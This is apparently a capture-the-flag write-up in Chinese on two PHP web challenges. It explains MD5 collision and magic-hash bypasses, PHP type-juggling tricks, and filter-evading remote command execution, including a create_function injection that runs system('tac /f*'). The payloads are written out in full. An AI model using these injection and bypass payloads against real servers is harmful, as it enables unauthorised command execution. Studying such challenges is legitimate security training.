出题友好,适合手生复健。
目录
①RCE但是没有完全RCE
②了解过PHP特性吗
①RCE但是没有完全RCE
上来就是一段md5八股
(string)就是不让用数组了,然后强比较需要md5碰撞
?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
之后是要md5前后都是0e
post:md5_3=0e215962017
成功过掉,访问3z_RC3.php
这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反而弄巧成拙。
所以采用下面这种解法:
/3z_RC3.php?cmd=system($_POST[1]);
post:shell=urldecode&1=tac /f*
这里妙就妙在让$shell形同虚设,让$cmd自成一个包含函数和参数的完整命令执行。
再要绕waf很自然就想到用$_POST[1]来转接。
②了解过PHP特性吗
乐,开屏一堆PHP特性
这里可能比较难测,所以建议自己本地搭一下,稍微修改下代码,让绕过的进度可视化。
<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
echo 1;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
echo 2;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
echo 3;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
echo 4;
}
}
第一个是数组绕过preg_match,不解释。
第二个是0e绕过弱比较,找两个md5后为0e的原字符串,因为要求$ctype是字母,$is_num是数字(当然包括科学计数法)
自然可以找到这两个,记得要rev一下。
QNKCDZO->OZDCKNQ
0e215962017->710269512e0
第三个是科学计数法+含数字字母字符串弱比较
第四个传入一个数组,NSS前加个空格可绕过"===",且让array_search可以匹配到NSS(可本地试一下)
<?php
$arr=array(1 =>' NSS'); //注意NSS前有空格
$key=array_search('NSS',$arr);
if ($key=1){
echo 'success';
}
else echo 'no!';
payload:
?num[]=1&114=9e9
post:514=99999999a&ctype=OZDCKNQ&is_num=710269512e0&arr4y[]= NSS
访问Rc3_function.php
一眼create_function注入,贴出文章不多解释
create_function注入
payload:
shell=&nss=1;}system('tac /f*');/*